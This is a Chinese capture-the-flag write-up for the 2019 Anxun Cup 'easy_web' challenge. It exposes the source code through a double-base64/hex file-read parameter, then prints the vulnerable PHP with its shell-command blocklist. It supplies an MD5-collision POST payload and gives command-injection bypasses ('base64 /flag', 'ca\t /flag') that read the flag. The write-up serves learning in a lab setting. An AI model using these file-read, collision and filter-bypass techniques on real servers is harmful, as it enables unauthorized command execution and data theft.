安洵杯 2019 easy_web 1题解
打开题目发现url
http://4c1b283f-95d8-4289-8768-e8a796e68354.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
猜测TXpVek5UTTFNbVUzTURabE5qYz0是base64加密，这里有一个小坑，相信大家都用过这个网站CTF在线工具，但是这个网站是解不了这个base64码的，不知道具体原因是什么，我这里编写脚本进行解码：
<?php
$t="TXpVek5UTTFNbVUzTURabE5qYz0";
echo(base64_decode($t));
echo("\n");
$t="MzUzNTM1MmU3MDZlNjc=";
echo(base64_decode($t));
?>
输出为
MzUzNTM1MmU3MDZlNjc=
3535352e706e67
最后得到一个hex编码的文本，解码得到555.png。
尝试将值改为index.php，hex编码后两次base64加密得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3，传入img，得到
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=
解码得到
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi～ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
if (preg_match("/flag/i", $file))
首先这句判断排除了我们直接利用img参数获取flag的想法。
echo `$cmd`;
注意到cmd用反引号包裹，会执行cmd的代码。
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
绕过MD5判断，注意HackBar会自动解码一次，不能正常绕过，复制payload在burpsuite里传值。
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
ls被ban，尝试用dir /来获得目录，得到
bin dev flag lib media opt root sbin sys usr
找到flag，cat被ban，常规用cut绕过，但-被也ban，这里可以用base64 /flag绕过，得到ZmxhZ3s1MzExMTNlMS03MmQxLTQ3M2ItYjBhZi04YzE3NDhiMzgxOGR9Cg==解码得到flag:flag{531113e1-72d1-473b-b0af-8c1748b3818d}。
也可以用ca/t /flag绕过cat的正则判断，个人理解：/t在正则会被识别为tab，但执行命令时又当做t，达到绕过的效果。
